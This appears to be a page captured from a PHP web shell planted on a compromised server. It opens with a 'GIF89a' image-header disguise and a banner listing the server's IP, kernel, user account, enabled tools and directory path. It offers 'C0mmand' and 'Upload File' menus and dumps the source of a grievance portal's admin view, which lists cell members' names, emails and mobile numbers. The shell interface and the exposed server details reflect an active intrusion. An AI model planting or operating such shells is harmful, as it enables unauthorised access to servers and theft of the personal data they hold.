GIF89a;
Server IP : 172.26.0.195 / Your IP : 18.222.163.134 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../grievance/sys_admin/application/views/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!DOCTYPE HTML> <html> <head> <!-- Required meta tags --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>Grievance Redressal Portal: All Grievance Cell Members Report</title> <link rel="stylesheet" href="<?php echo base_url("assets/css/style.css"); ?>"> <link rel="stylesheet" href="<?php echo base_url("assets/css/jquery.dataTables.min.css"); ?>" type='text/css' /> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800,900&display=swap"> <script src="<?php echo base_url("assets/js/jquery-1.10.2.min.js"); ?>"></script> <script src="<?php echo base_url("assets/js/bootstrap.min.js"); ?>"></script> <script src="<?php echo base_url("assets/js/jquery.dataTables.min.js"); ?>"></script> <script> var csrfHash = ''; </script> </head> <body class="cbp-spmenu-push"> <div class="se-pre-con"></div> <section> <?php $this->load->view("admin/navAndHeader"); ?> <div class="main-content"> <div class="container-fluid content-top-gap"> <nav aria-label="breadcrumb"> <ol class="breadcrumb my-breadcrumb"> <li class="breadcrumb-item"><a href="<?php echo site_url("admin/"); ?>">Home</a></li> <li class="breadcrumb-item">Misc. Report</li> <li class="breadcrumb-item active" aria-current="page">G-Cell Members</li> </ol> </nav> <section class="data-tables"> <div class="card card_border p-4"> <h3 class="card__title">All Grievance Cell Memebers</h3><br> <div class="table-responsive"> <?php if ($this->session->flashdata('successMessage')) { ?> <div class="alert alert-success"> <strong><?php echo $this->session->flashdata('successMessage'); ?></strong></div> <?php } ?> <?php if ($this->session->flashdata('errorMessage')) { ?> <div class="alert alert-danger"> <strong><?php echo $this->session->flashdata('errorMessage'); ?></strong> </div> <?php } ?> <table id="allGrievanceCellMembers" class="bootstrap-datatable table-striped table-hover" style="width:100%"> <thead> <tr> <th>Sr. No</th> <th>Full Name</th> <th>Gender</th> <th>Email</th> <th>Mobile</th> <th>Institute</th> <th>Sign Up On</th> <th>Current Status</th> </tr> </thead> <tfoot> <tr> <th>Sr. No</th> <th>Full Name</th> <th>Gender</th> <th>Email</th> <th>Mobile</th> <th>Institute</th> <th>Sign Up On</th> <th>Current Status</th> </tr> </tfoot> <tbody> <?php for ($i = 0; $i < sizeof($allUsers); $i++) { $record = $allUsers[$i]; ?> <tr> <td><?php echo ($i + 1); ?></td> <td><?php echo $record->cau_first_name . " " . $record->cau_last_name; ?></td> <td> <?php $gender = ""; if ($record->cau_gender == "M") { $gender = "Male <i class='fa fa-male'></i>"; } else { if ($record->cau_gender == "F") { $gender = "Female <i class='fa fa-female'></i>"; } else { $gender = "Other <i class='fa fa-transgender'></i>"; } } echo $gender; ?> </td> <td><?php echo $record->cau_email; ?></td> <td><?php echo $record->cau_mobile; ?></td> <td><?php echo $record->clg_name; ?></td> <td><?php echo date("d-m-Y", strtotime($record->cau_signup_on)); ?></td> <td> <?php if ($record->cau_delete_status == "F") { if ($record->cau_block_status == "F") { echo "<span class='badge badge-success'>Active</span>"; } else { echo "<span class='badge badge-danger'>Blocked</span>"; } ?> <?php } else { echo "<i style='color:#FF0000' class='fa fa-times'></i> User Deleted On " . date("d-m-Y", strtotime($record->cau_last_updated_on)); } ?> <i class="fa fa-info-circle" style="color:#002166;cursor: pointer;" title="More Info" onClick="getGCellMembersInfo(<?php echo $record->cau_id; ?>);"></i> </td> </tr> <?php } ?> </tbody> </table> </div> </div> </section> </div> </div> </section> <script> $(document).ready(function () { /*Removing Active Class From Current Page Menu*/ document.getElementById("dashboard").classList.remove("active"); document.getElementById("sysAdmnMgmnt").classList.remove("active"); document.getElementById("changePassword").classList.remove("active"); document.getElementById("institute").classList.remove("active"); document.getElementById("location").classList.remove("active"); document.getElementById("defaultStuffs").classList.remove("active"); /*Adding Active Class To Current Page Menu*/ document.getElementById("miscReport").classList.add("active"); $("#allGrievanceCellMembers").DataTable({responsive: true}); }); function getGCellMembersInfo(cau_id) { event.preventDefault(); $(".se-pre-con").fadeIn("slow"); if (csrfHash === '') { csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>'; } $.ajax({ url: '<?php echo site_url('admin/MiscellaneousReports/getUserFulllInfoBy/'); ?>', data: {cau_id: cau_id, type: 'roleWise', csrf_token: csrfHash}, type: 'POST', success: function (result) { $(".se-pre-con").fadeOut("slow"); var thisUserInfo = JSON.parse(result); csrfHash = thisUserInfo.csrfHash; $("#gcell_mem_img").prop("src", thisUserInfo.cau_image_url); $("#gcell_mem_firstname").html(thisUserInfo.cau_first_name); $("#gcell_mem_lastname").html(thisUserInfo.cau_last_name); $("#gcell_mem_email").html(thisUserInfo.cau_email); $("#gcell_mem_mobile").html(thisUserInfo.cau_mobile); $("#gcell_mem_gender").html(thisUserInfo.cau_gender); $("#gcell_mem_mail_verify").html(thisUserInfo.cau_email_verify_status); $("#gcell_mem_mobile_verify").html(thisUserInfo.cau_mobile_verify_status); $("#gcell_mem_alt_mobile").html(thisUserInfo.cau_alt_mobile); $("#gcell_mem_alt_email").html(thisUserInfo.cau_alt_email); $("#gcell_mem_role").html(thisUserInfo.cau_user_role_flag); $("#gcell_mem_allotted_gcats").html(thisUserInfo.cau_allotted_gcats); $("#gcell_mem_signup_by").html(thisUserInfo.cau_signup_by); $("#gcell_mem_updated_by_ca").html(thisUserInfo.cau_ca_operation_on); $("#gcell_mem_delete_status").html(thisUserInfo.cau_delete_status); $("#gcell_mem_block_status").html(thisUserInfo.cau_block_status); $("#gcell_mem_approve_status").html(thisUserInfo.cau_approve_status); $("#gcell_mem_college").html(thisUserInfo.clg_name); $("#gCellMemberDetailsModal").modal('show'); } }); } </script> <?php $this->load->view("admin/footer"); ?> <!-- G-Cell Members Details Modal Starts --> <div class="modal fade" id="gCellMemberDetailsModal" role="dialog" data-backdrop="static" data-keyboard="false"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <h4 class="modal-title">Grievance Cell Member Info</h4> <button type="button" class="close" data-dismiss="modal">×</button> </div> <div class="modal-body" style="max-height: calc(100vh - 160px);overflow-y: auto;"> <fieldset> <div class="row"> <div class="col-sm-12"> <center><img src="" id="gcell_mem_img" width="100px"></center> </div> </div> <div class="row"> <div class="col-sm-3"><b>First Name</b></div> <div class="col-sm-3"><span id="gcell_mem_firstname"></span></div> <div class="col-sm-3"><b>Last Name</b></div> <div class="col-sm-3"><span id="gcell_mem_lastname"></span></div> </div> <div class="row"> <div class="col-sm-3"><b>Email</b></div> <div class="col-sm-9"><span id="gcell_mem_email"></span></div> </div> <div class="row"> <div class="col-sm-3"><b>Mobile</b></div> <div class="col-sm-3"><span id="gcell_mem_mobile"></span></div> <div class="col-sm-3"><b>Gender</b></div> <div class="col-sm-3"><span id="gcell_mem_gender"></span></div> </div> <div class="row"> <div class="col-sm-3"><b>Email Verified</b></div> <div class="col-sm-3"><span id="gcell_mem_mail_verify"></span></div> <div class="col-sm-3"><b>Mobile Verified</b></div> <div class="col-sm-3"><span id="gcell_mem_mobile_verify"></span></div> </div> <div class="row"> <div class="col-sm-3"><b>Alt. Mobile</b></div> <div class="col-sm-3"><span id="gcell_mem_alt_mobile"></span></div> <div class="col-sm-3"><b>Alt. Email</b></div> <div class="col-sm-3"><span id="gcell_mem_alt_email"></span></div> </div> <div class="row"> <div class="col-sm-3"><b>Role</b></div> <div class="col-sm-9"><span id="gcell_mem_role"></span></div> </div> <div class="row"> <div class="col-sm-3"><b>Allotted G-Catgs.</b></div> <div class="col-sm-9"><span id="gcell_mem_allotted_gcats"></span></div> </div> <div class="row"> <div class="col-sm-3"><b>Created By</b></div> <div class="col-sm-9"><span id="gcell_mem_signup_by"></span></div> </div> <div class="row"> <div class="col-sm-3"><b>Last IA Update On</b></div> <div class="col-sm-9"><span id="gcell_mem_updated_by_ca"></span></div> </div> <div class="row"> <div class="col-sm-3"><b>Approve Status</b></div> <div class="col-sm-3"><span id="gcell_mem_approve_status"></span></div> <div class="col-sm-3"><b>Block Status</b></div> <div class="col-sm-3"><span id="gcell_mem_block_status"></span></div> </div> <div class="row"> <div class="col-sm-3"><b>Delete Status</b></div> <div class="col-sm-3"><span id="gcell_mem_delete_status"></span></div> </div> <div class="row"> <div class="col-sm-3"><b>Institute</b></div> <div class="col-sm-9"><span id="gcell_mem_college" href=""></span></div> </div> </fieldset> </div> <div class="modal-footer"> <button class="btn btn-danger" data-dismiss="modal">Close</button> </div> </div> </div> </div> <!-- G-Cell Member Details Modal Ends --> </body> </html>